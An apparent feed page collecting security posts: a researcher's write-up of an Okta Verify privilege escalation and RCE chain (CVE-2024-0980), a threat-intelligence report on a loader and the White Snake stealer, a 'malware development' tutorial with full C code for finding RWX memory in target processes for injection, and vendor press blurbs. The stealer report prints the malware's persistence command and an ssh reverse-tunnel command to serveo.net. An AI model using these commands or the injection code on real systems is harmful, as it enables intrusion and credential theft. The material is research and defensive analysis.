Normal view

There are new articles available, click to refresh the page.
Today — 2 May 2024Pentest/Red Team

Okta Verify for Windows Remote Code Execution – CVE-2024-0980

By: b0yd
2 May 2024 at 17:41

This article is in no way affiliated, sponsored, or endorsed with/by Okta, Inc. All graphics are being displayed under fair use for the purposes of this article.

Poppin shells with Okta Verify on Windows

These days I rarely have an opportunity to do bug hunting. Fortunately, over the holiday break, I found some free time. This started as it usually does with me looking at what software was running on my computer.

A while back I had installed Okta Verify on my Windows box as it was required for some “enhanced” 2FA that I was required to have to access a thing. Months later it sat there doing whatever it does. I googled to see if Okta had a bug bounty program because even though I had some time, it’d be nice to get paid if I found a thing. I was thrilled to find that Okta had a bug bounty with Bugcrowd, Okta Verify is in it, and the payouts look good, almost too good.

I started with my usual bug hunting flow when approaching a random Windows service. This typically includes looking for the usual low hanging fruit. A good article for the types of things to look for can be found here.

Firing up Sysinternal’s Procmon, I saw there is a service called Okta.Coordinator.Service that is running as SYSTEM. Without going into the details (namely because Okta hasn’t fixed it or issued it a CVE), I found a thing. I submitted the report and was promptly paid.

Well that’s weird. The bug I submitted is an unequivocal 7.8 CVSS. Which without knowing the voodoo behind P ratings (P1-P4), seems like would be a P2 at least. Instead I get a P3 and paid out at the lower end.

Looking back on it, I’m betting this is probably an old bug bounty program trick to motivate researchers to dig deeper… because, it worked. I decided to take a closer look since I hadn’t even opened up the binary to see what it was doing – and I wanted to get that big payout.

Let’s Get Crackin’

I haven’t popped Okta.Coordinator.Service.exe into a disassembler yet, but I’m betting it’s a .NET application. My guess comes from its name and the fact that there’s an Okta.Coordinator.Service.exe.config file right there with it, which you usually see with .NET applications.

When I open up the executable in JetBrains dotPeek, I can confirm it is indeed a .NET application. The binary appears to be a service wrapper. It handles the service related functionality: install, uninstall, start, stop, etc.  It references a Okta.AutoUpdate.Executor class that just so happens to have a matching DLL in the same directory.

Moving on to the DLL in dotPeek, I found the code used by the service. The first thing I noticed was it sets up a NamedPipe server, which listens for commands to update the Okta Verify software. This is a common design paradigm in Windows for enabling low-privileged applications to communicate with a high-privileged service to perform updates, as these often require elevated privileges. It’s a complex mechanism that’s tricky to do right, and often a good place for finding bugs. I was able to confirm the existence of the named-pipe server with a little Powershell.

Next, I investigated how to initiate an update and what aspects of this process could be manipulated by an attacker. The handler for the named pipe processes a straightforward JSON message that includes several fields, some checked against expected values. The primary field of interest is the update URL. If the input data passes validation, the software will attempt to fetch details from the specified URL about the most recent update package available. As shown below, the URL (sub)domain is verified against a whitelist before proceeding. For now, I’ll avoid trying to meet/bypass this requirement and simply add an entry in the hosts file on my test machine.

Typically at this stage, I’d code up a proof of concept (POC) to send a JSON message to the named pipe and check if the software connected to a web server I control. But since I haven’t spotted any potential vulnerabilities yet, I skipped that step and moved on.

From here I took a look at the code responsible for processing the JSON message retrieved from the attacker controlled update server. The application is expecting a message that contains metadata about an update package including versioning and an array of file metadata objects. These objects contain several pertinent fields such the download URL, size, hash, type, and command line arguments. The provided download URL is validated with the same domain checking algorithm as before. If the check passes, the software downloads the file and writes it to disk. This is where things get interesting. The code parses the download URL from the received metadata and constructs the file path by calling the Path.Combine function.

Several factors are converging here to create a serious vulnerability. The most obvious is the use of the Path.Combine function with user supplied data. I went into depth about this issue in a previous blog post here. The TLDR is if a full path is provided as the second argument to this function, the first argument that typically specifies the parent folder, is ignored. The next issue is how the filename is parsed. The code splits the file location URL by forward slash and takes the last element as the filename. The problem (solution) is a full Windows path can be inserted here using back slashes and it’s still a valid URL. Since the service is running as SYSTEM, we have permissions to right anywhere. If we put all this together our payload looks something like the script below.

Copy to Clipboard

Now that I have a potential bug to test out, I craft the POC for the named pipe client to trigger the update. Luckily, this code already exists in the .NET DLL for me to repurpose.  With my web server code also in place I send the request to test out the file write. As I had hoped, the file write succeeds!

Cool, but what about impact!

I have the ability to write arbitrary files as SYSTEM on Windows. How can I leverage this to achieve on-demand remote code execution? The first thing that comes to mind is some form of DLL hijacking. I’ve used phantom DLL hijacking in the past but this is more appropriate for red team operations where time constraints aren’t really an issue. What I really need is the ability to force execution shortly after the file write.

Since the whole purpose behind this service is to install an update, can I just use it to execute my code? I reviewed the code after the file write to see what it takes to execute the downloaded update package. It appears the file type field in the file object metadata is used to indicate which file to execute. If the EXE or MSI file type is set, the application will attempt to validate the file signature before executing it, along with any supplied arguments. The process launcher executes the binary with UseShellExecute set to false so no possibility of command injection.

My original thought was to deliver a legitimate Okta Verify package since this would pass the signature check. I could then use ProcMon to identify a DLL hijack in the install package. Privileged DLL hijacks occur in almost all services because the assumption is you already require the permissions to write to a privileged location. Ironically though, I found the service binary actually contained a DLL hijack just prior to the signature verification to load the necessary cryptographic libraries. If I write a DLL to C:\Program Files (x86)\Okta\UpdateService\wintrust.dll, it will get loaded just prior to signature verification.

Great, so now I have a way to execute arbitrary code from an unprivileged user to SYSTEM. “Guessing” that this probably won’t meet the bar of P1 or P2, I start thinking of how to upgrade this to remote code execution. If RCE doesn’t get a P1 then what does? The interesting thing about named pipes is that they are often remotely accessible. It all depends on what permissions are set. Looking at the code below, it sets full control to the “BUILTIN\Users” group.

Testing from a remote system in my network confirms that I get permissioned denied when I try to connect to the named pipe. After a couple of days I had an idea. If a Windows system is part of a Active Directory domain, does the BUILTIN/Users group permissions automatically get converted to the “Domain Users” group in a domain? This would mean any user in an AD domain could remotely execute code on any system that has Okta Verify installed. Moreover, considering that this software is aimed at large corporate enterprises, it would likely be included in the standard build and deployed broadly. So not explicitly “Domain Admin” but a good chance of it. I had to find out, so I stood up a test AD network in AWS and the following video shows what happened.

Almost done

Well that seems like a big deal right? Maybe get a P1 (and 70k…)? I’m guessing the small detail about not having an Okta subdomain to download from may keep it from landing a P1. Having worked at big tech companies, I know that subdomain takeover reports are common. However, without having a subdomain takeover, it’s likely the bug’s significance will be minimized. I decided to dedicate some time to searching for one to complete the exploit chain. After going through the standard bug bounty subdomain takeover tools, I came up with only one viable candidate: oktahelpspot.okta.com.  It pointed to an IP with no open ports, managed by a small VPS provider named Arcustech.

After signing up for an account and some very innocent social engineering, I got the following response. And then a second email from the first person’s manager. Oh well, so much for that.

The next thing that came to mind was leveraging a custom Okta client subdomain. Whenever a new client registers with Okta, they receive a personalized Okta subdomain to manage their identity providers, e.g. trial-XXXXXXX.customdomains.okta.com. I found a way to set custom routes in the web management application that would redirect traffic from your custom domain to a user defined URL. Unfortunately, this redirect was implemented in Javascript, rather than through a conventional 302 or 301 HTTP redirect. Consequently, the .NET HTTP client that the Okta Verify update service uses did not execute the Javascript and therefore did not follow the redirect as a browser would.

Reporting

At this point, I decided it was time to report my findings to Okta. Namely, because they were offering a bonus at the time for what appeared to be Okta Verify, which I think they might have either forgotten or included without mentioning. Secondly, I didn’t want to risk someone else beating me to it. I am happy to report they accepted the report and awarded me a generous bounty of $13,337 as a P2. It wasn’t quite $70k, or a P1, but it’s nothing to sneeze at. I want to thank Okta for the bounty and quick resolution. They also kindly gave me permission to write this blog post and followed through with issuing CVE-2024-0980 along with an advisory.

One last note, if anyone reading this identifies a way to bypass the subdomain validation check I would be very interested. I attempted most of the common URL parsing confusion techniques as well as various encoding tricks all for naught. Drop me a line at @rwincey on X

Scaly Wolf’s new loader: the right tool for the wrong job

By: BI.ZONE
2 May 2024 at 13:48

The BI.ZONE Threat Intelligence team has uncovered a fresh campaign by the group targeting Russian and Belarusian organizations

Key findings

  1. The cluster’s methods evolve continuously with new tools added to its arsenal.
  2. The use of password-protected archives enables the criminals to bypass defenses and deliver malware successfully.
  3. With phishing emails sent out on behalf of government agencies, the victim is much more likely to interact with the malicious attachments.

Campaign

The threat actors are distributing phishing emails under the guise of a federal agency. The emails have a legitimate document as an attachment. It aims to lull the recipient’s vigilance and prompt them to open the other file, a password-protected archive.

Phishing email
Legitimate attachment

The files in the archive:

  • Пароль 120917.txt, an empty file whose name contains the password to the archive
  • Права и обязанности и процедура ст. 164, 170, 183 УПК РФ.rtf (the rights, obligations, and procedure under the Criminal Procedure Code of the Russian Federation), another legitimate document serving as a decoy
  • Матералы к запросу, обязательно к ознакомлению и предоставлению информации-.exe (inquiry materials that require some action), an executable with malicious payload

The executable file is a loader, in2al5d p3in4er (Invalid Printer). After a successful anti-virtualization check, the loader injects the malicious payload into the address space of the explorer.exe process.

The check performed with the dxgi.dll library enables the loader to retrieve the IDs of the manufacturers of the graphics cards used in the system. Where such IDs do not match those of Nvidia, AMD, or Intel, the malicious file would stop running.

The loader is distinguished by not using WinAPI calls to access the Windows kernel. Instead, the kernel functions are called directly through jumps to the syscall instruction with the required arguments.

The arguments for kernel calls are passed through the following registers: R10, RDX, R8, R9. The RAX register is used to store the number of the initiated system call. In this case, the number 0x0036 corresponds to the system call NtQuerySystemInformation.

It is noteworthy that during the execution the loader would attempt to open multiple random files non-existent in the system and write random data into them. While such behavior does not affect the execution, this may help to detect the malicious activity in the system.

In order to identify the explorer.exe process, the loader enumerates the structures of the launched processes searching for the matching checksum. After identifying the required process, the loader allocates a memory region within this process with execution rights and copies the decrypted malicious payload into it. Finally, it modifies the process context to execute the injected shell code.

The payload is the shell code obtained with the help of the open-source Donut utility, which allows executable files (including .NET) to run in the memory. The utility has some additional features such as compression and encryption of malicious payload.

In the case under review, the malicious payload executed by this loader is the White Snake stealer, version 1.6.1.9. This is the latest version of the stealer published at the end of March 2024. It does not verify whether the victim is located in Russia or other CIS countries.

Stealer update announcement

In August 2023, the official White Snake channel published a post related to our investigation. The post informed that one of the customers had modified the malware and removed the AntiCIS module.

Post in the White Snake channel

We believe that with this statement the developers merely wanted to avoid getting blocked on popular underground resources.

When started, White Snake performs the following actions:

  • creates and checks the mutex specified in the configuration
  • (where such option is available) runs anti-virtualization checks: retrieves the device model and manufacturer and compares them with the program lines
    For this purpose, the following WMI requests are used:
    SELECT * FROM Win32_ComputerSystem – Model
    SELECT * FROM Win32_ComputerSystem – Manufacturer
  • (where such option is available) moves the current executable file to the directory as specified in the configuration (that is, C:\Users\[user]\AppData\Local\RobloxSecurity) and runs a command to add a task to the scheduler; then terminates the execution and self-runs from a new location:
"C:\Windows\System32\cmd.exe" /C chcp 65001 &&
timeout /t 3 > NUL &&
schtasks /create /tn "Explorer" /sc MINUTE /tr "C:\Users\[user]\AppData\Local\RobloxSecurity\Explorer.EXE" /rl HIGHEST /f &&
DEL /F /S /Q /A "C:\Windows\Explorer.EXE" &&
START "" "C:\Users\[user]\AppData\Local\RobloxSecurity\Explorer.EXE"

Interestingly, the legitimate explorer.exe would be copied without the injected shell code in this particular case.

White Snake can also use the serveo[.]net service. This option enables OpenSSH to be downloaded via the link to the GitHub repository (https://github.com/PowerShell/Win32-OpenSSH/releases/download/v9.2.2.0p1-Beta/OpenSSH-Win32.zip) and launched with the following command:

ssh -o "StrictHostKeyChecking=no" -R [connection port]:[local address]:[local port] serveo.net

The latest versions have an updated list of resources to transmit the data harvested by the stealer:

Indicators of compromise

  • 93948C7FB89059E1F63AF04FEEF0A0834B65B18FFAF6610B419ADBC0E271E23D
  • CBABD91FB0C1C83867F71E8DF19C131AC6FB3B3F3F74765BC24924CB9D51AD41
  • 10330FCC378DB73346501B2A26D2C749F51CACD962B54C62AA017DD9C1ED77C3

MITRE ATT&CK

More indicators of compromise and a detailed description of threat actor tactics, techniques, and procedures are available on the BI.ZONE Threat Intelligence platform.

Detecting such malicious activity

The BI.ZONE EDR rules below can help organizations detect the described malicious activity:

  • win_suspicious_code_injection_to_system_process
  • win_process_like_system_process_detected
  • win_creation_task_that_run_file_from_suspicious_folder
  • win_using_popular_utilities_for_port_forwarding
  • win_possible_browser_stealer_activity
  • win_access_to_windows_password_storage
  • win_dump_sensitive_registry_hives_locally
  • win_credentials_registry_hive_file_creation
  • win_query_stored_credentials_from_registry

We would also recommend that you monitor suspicious activity related to:

  • running executable files with long names resembling document names
  • multiple opening of files, including non-existent files
  • running suspicious WMI commands
  • scheduled tasks with atypical executables and system files in unusual directories
  • OpenSSH downloads from GitHub
  • network communications with serveo[.]net
  • reading the files in browser folders with credentials
  • reading the registry keys with sensitive data

How to protect your company from such threats

Scaly Werewolf’s methods of gaining persistence on endpoints are hard to detect with preventive security solutions. Therefore we recommend that companies enhance their cybersecurity with endpoint detection and response practices, for instance, with the help of BI.ZONE EDR.

To stay ahead of threat actors, you need to be aware of the methods used in attacks against different infrastructures and to understand the threat landscape. For this purpose, we would recommend that you leverage the data from the BI.ZONE Threat Intelligence platform. The solution provides information about current attacks, threat actors, their methods and tools. This data helps to ensure the effective operation of security solutions, accelerate incident response, and protect from the most critical threats to the company.

Horizon3.ai Appoints Matt Hartley as Chief Revenue Officer to Spearhead Growth Initiatives

2 May 2024 at 12:07

Business Wire 03/25/2024

Horizon3.ai, a leading provider of autonomous security solutions, today announced the appointment of Matt Hartley as Chief Revenue Officer (CRO), effective immediately.Hartley brings over 20 years of sales and operations excellence with a proven track record of building go-to-market (GTM) teams that achieve rapid scale and predictability…

Read the entire article here

The post Horizon3.ai Appoints Matt Hartley as Chief Revenue Officer to Spearhead Growth Initiatives appeared first on Horizon3.ai.

Malware development trick 38: Hunting RWX - part 2. Target process investigation tricks. Simple C/C++ example.

1 May 2024 at 01:00

Hello, cybersecurity enthusiasts and white hackers!

malware

In one of my previous posts, I described a process injection method using RWX-memory searching logic. Today, I will apply the same logic, but with a new trick.

As you remember, the method is simple: we enumerate the presently running target processes on the victim’s system, scan through their allocated memory blocks to see if any are protected with RWX, and then write our payload to this memory block.

practical example

Today I will use a little bit different trick. Let’s say we are search specific process in the victim’s machine (for injection or for something else).

Let’s go to use a separate function for hunting RWX-memory region from the victim process, something like this:

int findRWX(HANDLE h) {

  MEMORY_BASIC_INFORMATION mbi = {};
  LPVOID addr = 0;

  // query remote process memory information
  while (VirtualQueryEx(h, addr, &mbi, sizeof(mbi))) {
    addr = (LPVOID)((DWORD_PTR) mbi.BaseAddress + mbi.RegionSize);

    // look for RWX memory regions which are not backed by an image
    if (mbi.Protect == PAGE_EXECUTE_READWRITE
      && mbi.State == MEM_COMMIT
      && mbi.Type == MEM_PRIVATE)

      printf("found RWX memory: 0x%x - %#7llu bytes region\n", mbi.BaseAddress, mbi.RegionSize);
  }

  return 0;
}

Also a little bit update for our main logic: first of all, we are search specific process’ handle by it’s name:

typedef NTSTATUS (NTAPI * fNtGetNextProcess)(
  _In_ HANDLE ProcessHandle,
  _In_ ACCESS_MASK DesiredAccess,
  _In_ ULONG HandleAttributes,
  _In_ ULONG Flags,
  _Out_ PHANDLE NewProcessHandle
);

int findMyProc(const char * procname) {
  int pid = 0;
  HANDLE current = NULL;
  char procName[MAX_PATH];

  // resolve function address
  fNtGetNextProcess myNtGetNextProcess = (fNtGetNextProcess) GetProcAddress(GetModuleHandle("ntdll.dll"), "NtGetNextProcess");

  // loop through all processes
  while (!myNtGetNextProcess(current, MAXIMUM_ALLOWED, 0, 0, &current)) {
    GetProcessImageFileNameA(current, procName, MAX_PATH);
    if (lstrcmpiA(procname, PathFindFileName((LPCSTR) procName)) == 0) {
      pid = GetProcessId(current);
      break;
    }
  }

  return current;
}

As you can see, we use NtGetNextProcess API for enumerating processes.

So the final source code is looks like this (hack.c):

/*
 * hack.c - hunting RWX memory
 * @cocomelonc
 * https://cocomelonc.github.io/malware/2024/05/01/malware-trick-38.html
*/
#include <windows.h>
#include <stdio.h>
#include <psapi.h>
#include <shlwapi.h>
#include <strsafe.h>
#include <winternl.h>

typedef NTSTATUS (NTAPI * fNtGetNextProcess)(
  _In_ HANDLE ProcessHandle,
  _In_ ACCESS_MASK DesiredAccess,
  _In_ ULONG HandleAttributes,
  _In_ ULONG Flags,
  _Out_ PHANDLE NewProcessHandle
);

int findMyProc(const char * procname) {
  int pid = 0;
  HANDLE current = NULL;
  char procName[MAX_PATH];

  // resolve function address
  fNtGetNextProcess myNtGetNextProcess = (fNtGetNextProcess) GetProcAddress(GetModuleHandle("ntdll.dll"), "NtGetNextProcess");

  // loop through all processes
  while (!myNtGetNextProcess(current, MAXIMUM_ALLOWED, 0, 0, &current)) {
    GetProcessImageFileNameA(current, procName, MAX_PATH);
    if (lstrcmpiA(procname, PathFindFileName((LPCSTR) procName)) == 0) {
      pid = GetProcessId(current);
      break;
    }
  }

  return current;
}


int findRWX(HANDLE h) {

  MEMORY_BASIC_INFORMATION mbi = {};
  LPVOID addr = 0;

  // query remote process memory information
  while (VirtualQueryEx(h, addr, &mbi, sizeof(mbi))) {
    addr = (LPVOID)((DWORD_PTR) mbi.BaseAddress + mbi.RegionSize);

    // look for RWX memory regions which are not backed by an image
    if (mbi.Protect == PAGE_EXECUTE_READWRITE
      && mbi.State == MEM_COMMIT
      && mbi.Type == MEM_PRIVATE)

      printf("found RWX memory: 0x%x - %#7llu bytes region\n", mbi.BaseAddress, mbi.RegionSize);
  }

  return 0;
}


int main(int argc, char* argv[]) {
  char procNameTemp[MAX_PATH];
  HANDLE h = NULL;
  int pid = 0;
  h = findMyProc(argv[1]);
  if (h) GetProcessImageFileNameA(h, procNameTemp, MAX_PATH);
  pid = GetProcessId(h);
  printf("%s%d\n", pid > 0 ? "process found at pid = " : "process not found. pid = ", pid);
  findRWX(h);
  CloseHandle(h);
  
  return 0;
}

demo

Let’s go to see everything in action. Compile our malware source code:

x86_64-w64-mingw32-g++ hack.c -o hack.exe -I/usr/share/mingw-w64/include/ -s -ffunction-sections -fdata-sections -Wno-write-strings -fno-exceptions -fmerge-all-constants -static-libstdc++ -static-libgcc -fpermissive -w -lpsapi -lshlwapi

malware

And run it at the victim’s machine (Windows 11 x64 in my case):

malware

Try on another target process, for example OneDrive.exe:

malware

Our logic is worked, RWX-memory successfully founded!

As you can see, everything is worked perfectly! =^..^=

practical example 2

But there are the caveats. Sometimes we need to know is this process is .NET process or Java or something else (is it really OneDrive.exe process)?

For .NET process we need interesting trick, if we open powershell.exe via Process Hacker 2:

malware

As you can see, in the Handles tab we can find interesting section with name \BaseNamedObjects\Cor_Private_IPCBlock_v4_<PID>" in our case PID = 3156, so our string is equal \BaseNamedObjects\\Cor_Private_IPCBlock_v4_3156.

So, let’s update our function findMyProc, like this:

HANDLE findMyProc(const char * procname) {
  int pid = 0;
  HANDLE current = NULL;
  char procName[MAX_PATH];

  // resolve function addresses
  fNtGetNextProcess_t myNtGetNextProcess = (fNtGetNextProcess_t) GetProcAddress(GetModuleHandle("ntdll.dll"), "NtGetNextProcess");
  fNtOpenSection_t myNtOpenSection = (fNtOpenSection_t) GetProcAddress(GetModuleHandle("ntdll.dll"), "NtOpenSection");

  // loop through all processes
  while (!myNtGetNextProcess(current, MAXIMUM_ALLOWED, 0, 0, &current)) {
    GetProcessImageFileNameA(current, procName, MAX_PATH);
    if (lstrcmpiA(procname, PathFindFileNameA(procName)) == 0) {
      pid = GetProcessId(current);
      
      // Check for "\\BaseNamedObjects\\Cor_Private_IPCBlock_v4_<PID>" section
      UNICODE_STRING sName;
      OBJECT_ATTRIBUTES oa;
      HANDLE sHandle = NULL;
      WCHAR procNumber[32];

      WCHAR objPath[] = L"\\BaseNamedObjects\\Cor_Private_IPCBlock_v4_";
      sName.Buffer = (PWSTR) malloc(500);

      // convert INT to WCHAR
      swprintf_s(procNumber, L"%d", pid);

      // and fill out UNICODE_STRING structure
      ZeroMemory(sName.Buffer, 500);
      memcpy(sName.Buffer, objPath, wcslen(objPath) * 2);   // add section name "prefix"
      StringCchCatW(sName.Buffer, 500, procNumber);      // and append with process ID
      sName.Length = wcslen(sName.Buffer) * 2;    // finally, adjust the string size
      sName.MaximumLength = sName.Length + 1;    
      
      InitializeObjectAttributes(&oa, &sName, OBJ_CASE_INSENSITIVE, NULL, NULL);
      NTSTATUS status = myNtOpenSection(&sHandle, SECTION_QUERY, &oa);
      if (NT_SUCCESS(status)) {
        CloseHandle(sHandle);
        break;
      }
    }
  }

  return current;
}

Just convert process id int to UNICODE STRING and concat, then try to find section logic.

Here, NtOpenSection API use for opens a handle for an existing section object:

typedef NTSTATUS (NTAPI * fNtOpenSection)(
  PHANDLE            SectionHandle,
  ACCESS_MASK        DesiredAccess,
  POBJECT_ATTRIBUTES ObjectAttributes
);

So, the full source code for this logic (finding .NET processes in the victim’s system) looks like this:

/*
 * hack2.c - hunting RWX memory
 * detect .NET process
 * @cocomelonc
 * https://cocomelonc.github.io/malware/2024/05/01/malware-trick-38.html
*/
#include <windows.h>
#include <stdio.h>
#include <psapi.h>
#include <shlwapi.h>
#include <strsafe.h>
#include <winternl.h>

typedef NTSTATUS (NTAPI * fNtGetNextProcess_t)(
  _In_ HANDLE ProcessHandle,
  _In_ ACCESS_MASK DesiredAccess,
  _In_ ULONG HandleAttributes,
  _In_ ULONG Flags,
  _Out_ PHANDLE NewProcessHandle
);

typedef NTSTATUS (NTAPI * fNtOpenSection_t)(
  PHANDLE            SectionHandle,
  ACCESS_MASK        DesiredAccess,
  POBJECT_ATTRIBUTES ObjectAttributes
);

HANDLE findMyProc(const char * procname) {
  int pid = 0;
  HANDLE current = NULL;
  char procName[MAX_PATH];

  // resolve function addresses
  fNtGetNextProcess_t myNtGetNextProcess = (fNtGetNextProcess_t) GetProcAddress(GetModuleHandle("ntdll.dll"), "NtGetNextProcess");
  fNtOpenSection_t myNtOpenSection = (fNtOpenSection_t) GetProcAddress(GetModuleHandle("ntdll.dll"), "NtOpenSection");

  // loop through all processes
  while (!myNtGetNextProcess(current, MAXIMUM_ALLOWED, 0, 0, &current)) {
    GetProcessImageFileNameA(current, procName, MAX_PATH);
    if (lstrcmpiA(procname, PathFindFileNameA(procName)) == 0) {
      pid = GetProcessId(current);
      
      // check for "\\BaseNamedObjects\\Cor_Private_IPCBlock_v4_<PID>" section
      UNICODE_STRING sName;
      OBJECT_ATTRIBUTES oa;
      HANDLE sHandle = NULL;
      WCHAR procNumber[32];

      WCHAR objPath[] = L"\\BaseNamedObjects\\Cor_Private_IPCBlock_v4_";
      sName.Buffer = (PWSTR) malloc(500);

      // convert INT to WCHAR
      swprintf_s(procNumber, L"%d", pid);

      // and fill out UNICODE_STRING structure
      ZeroMemory(sName.Buffer, 500);
      memcpy(sName.Buffer, objPath, wcslen(objPath) * 2);   // add section name "prefix"
      StringCchCatW(sName.Buffer, 500, procNumber);      // and append with process ID
      sName.Length = wcslen(sName.Buffer) * 2;    // finally, adjust the string size
      sName.MaximumLength = sName.Length + 1;    
      
      InitializeObjectAttributes(&oa, &sName, OBJ_CASE_INSENSITIVE, NULL, NULL);
      NTSTATUS status = myNtOpenSection(&sHandle, SECTION_QUERY, &oa);
      if (NT_SUCCESS(status)) {
        CloseHandle(sHandle);
        break;
      }
    }
  }

  return current;
}



int findRWX(HANDLE h) {

  MEMORY_BASIC_INFORMATION mbi = {};
  LPVOID addr = 0;

  // query remote process memory information
  while (VirtualQueryEx(h, addr, &mbi, sizeof(mbi))) {
    addr = (LPVOID)((DWORD_PTR) mbi.BaseAddress + mbi.RegionSize);

    // look for RWX memory regions which are not backed by an image
    if (mbi.Protect == PAGE_EXECUTE_READWRITE
      && mbi.State == MEM_COMMIT
      && mbi.Type == MEM_PRIVATE)

      printf("found RWX memory: 0x%x - %#7llu bytes region\n", mbi.BaseAddress, mbi.RegionSize);
  }

  return 0;
}


int main(int argc, char* argv[]) {
  char procNameTemp[MAX_PATH];
  HANDLE h = NULL;
  int pid = 0;
  h = findMyProc(argv[1]);
  if (h) GetProcessImageFileNameA(h, procNameTemp, MAX_PATH);
  pid = GetProcessId(h);
  printf("%s%d\n", pid > 0 ? "process found at pid = " : "process not found. pid = ", pid);
  findRWX(h);
  CloseHandle(h);
  
  return 0;
}

demo 2

Let’s go to see second example in action. Compile it:

x86_64-w64-mingw32-g++ hack2.c -o hack2.exe -I/usr/share/mingw-w64/include/ -s -ffunction-sections -fdata-sections -Wno-write-strings -fno-exceptions -fmerge-all-constants -static-libstdc++ -static-libgcc -fpermissive -lpsapi -lshlwapi -w

malware

Then just run it. Check on powershell.exe:

.\hack2.exe powershell.exe

malware

Now, second practical example worked as expected! Great! =^..^=

practical example 3

Ok, so what about previous question?

How we can check if the victim process is really OneDrive.exe process? It’s just in case, for example.

Let’s check OneDrive.exe process properties via Process Hacker 2:

malware

As you can see we can use the same trick: check section by it’s name: \Sessions\1\BaseNamedObjects\UrlZonesSM_test1. Of course, I could be wrong and the presence of this string does not guarantee that this is OneDrive.exe process. I just want to show that you can examine any process and try to find some indicators in the section names.

So, I updated my function again and full source code of my third example (hack3.c):

/*
 * hack.c - hunting RWX memory
 * @cocomelonc
 * https://cocomelonc.github.io/malware/2024/05/01/malware-trick-38.html
*/
#include <windows.h>
#include <stdio.h>
#include <psapi.h>
#include <shlwapi.h>
#include <strsafe.h>
#include <winternl.h>

typedef NTSTATUS (NTAPI * fNtGetNextProcess_t)(
  _In_ HANDLE ProcessHandle,
  _In_ ACCESS_MASK DesiredAccess,
  _In_ ULONG HandleAttributes,
  _In_ ULONG Flags,
  _Out_ PHANDLE NewProcessHandle
);

typedef NTSTATUS (NTAPI * fNtOpenSection_t)(
  PHANDLE            SectionHandle,
  ACCESS_MASK        DesiredAccess,
  POBJECT_ATTRIBUTES ObjectAttributes
);

HANDLE findMyProc(const char *procname) {
  HANDLE current = NULL;
  char procName[MAX_PATH];

  // resolve function addresses
  fNtGetNextProcess_t myNtGetNextProcess = (fNtGetNextProcess_t)GetProcAddress(GetModuleHandle("ntdll.dll"), "NtGetNextProcess");
  fNtOpenSection_t myNtOpenSection = (fNtOpenSection_t)GetProcAddress(GetModuleHandle("ntdll.dll"), "NtOpenSection");

  // loop through all processes
  while (!myNtGetNextProcess(current, MAXIMUM_ALLOWED, 0, 0, &current)) {
    GetProcessImageFileNameA(current, procName, MAX_PATH);
    if (lstrcmpiA(procname, PathFindFileNameA(procName)) == 0) {
      // check for "\Sessions\1\BaseNamedObjects\UrlZonesSM_test1" section
      UNICODE_STRING sName;
      OBJECT_ATTRIBUTES oa;
      HANDLE sHandle = NULL;

      WCHAR objPath[] = L"\\Sessions\\1\\BaseNamedObjects\\UrlZonesSM_test1";
      sName.Buffer = (PWSTR)objPath;
      sName.Length = wcslen(objPath) * sizeof(WCHAR);
      sName.MaximumLength = sName.Length + sizeof(WCHAR);

      InitializeObjectAttributes(&oa, &sName, OBJ_CASE_INSENSITIVE, NULL, NULL);
      NTSTATUS status = myNtOpenSection(&sHandle, SECTION_QUERY, &oa);
      if (NT_SUCCESS(status)) {
        CloseHandle(sHandle);
        break;
      }
    }
  }
  return current;
}

int findRWX(HANDLE h) {

  MEMORY_BASIC_INFORMATION mbi = {};
  LPVOID addr = 0;

  // query remote process memory information
  while (VirtualQueryEx(h, addr, &mbi, sizeof(mbi))) {
    addr = (LPVOID)((DWORD_PTR) mbi.BaseAddress + mbi.RegionSize);

    // look for RWX memory regions which are not backed by an image
    if (mbi.Protect == PAGE_EXECUTE_READWRITE
      && mbi.State == MEM_COMMIT
      && mbi.Type == MEM_PRIVATE)

      printf("found RWX memory: 0x%x - %#7llu bytes region\n", mbi.BaseAddress, mbi.RegionSize);
  }

  return 0;
}


int main(int argc, char* argv[]) {
  char procNameTemp[MAX_PATH];
  HANDLE h = NULL;
  int pid = 0;
  h = findMyProc(argv[1]);
  if (h) GetProcessImageFileNameA(h, procNameTemp, MAX_PATH);
  pid = GetProcessId(h);
  printf("%s%d\n", pid > 0 ? "process found at pid = " : "process not found. pid = ", pid);
  findRWX(h);
  CloseHandle(h);
  
  return 0;
}

As you can see, the logic is simple: check section name and try to open it.

demo 3

Let’s go to see third example in action. Compile it:

x86_64-w64-mingw32-g++ hack3.c -o hack3.exe -I/usr/share/mingw-w64/include/ -s -ffunction-sections -fdata-sections -Wno-write-strings -fno-exceptions -fmerge-all-constants -static-libstdc++ -static-libgcc -fpermissive -lpsapi -lshlwapi -w

malware

Then, run it on the victim’s machine:

.\hack3.exe OneDrive.exe

malware

As you can see, everything is worked perfectly again!

If anyone has seen a similar trick in real malware and APT, please write to me, maybe I didn’t look well, it seems to me that this is a technique already known to attackers.

I hope this post spreads awareness to the blue teamers of this interesting process investigation technique, and adds a weapon to the red teamers arsenal.

Process injection via RWX-memory hunting. Simple C++ example.
Malware development trick - part 30: Find PID via NtGetNextProcess. Simple C++ example.
source code in github

This is a practical case for educational purposes only.

Thanks for your time happy hacking and good bye!

Yesterday — 1 May 2024Pentest/Red Team
Before yesterdayPentest/Red Team

Get Ahead of Emerging Threats with Horizon3.ai’s Rapid Response Service

30 April 2024 at 19:33

In the ever-evolving landscape of cybersecurity, the speed of your response to emerging cyber threats can be the difference between a minor security incident and a catastrophic breach. Horizon3.ai provides you with a strategic advantage by enabling preemptive action in the
steadily shrinking window of time between the public disclosure of a vulnerability and its exploitation in the wild.

The post Get Ahead of Emerging Threats with Horizon3.ai’s Rapid Response Service appeared first on Horizon3.ai.

Horizon3.ai Unveils Rapid Response Service for Cyber Resilience

30 April 2024 at 10:03

Business Wire 03/25/2024

Horizon3.ai, a pioneer in autonomous security solutions, today announced the launch of its Rapid Response service, now part of the NodeZero™ platform. This one-of-a-kind capability marks a significant advancement in autonomous penetration testing solutions by addressing a critical gap in measuring the real-world impact of exploitable vulnerabilities within the software many organizations…

Read the entire article here

The post Horizon3.ai Unveils Rapid Response Service for Cyber Resilience appeared first on Horizon3.ai.

Careers in operational technology: What does a security risk assessor do? | Guest Donovan Tindill

By: Infosec
29 April 2024 at 18:00

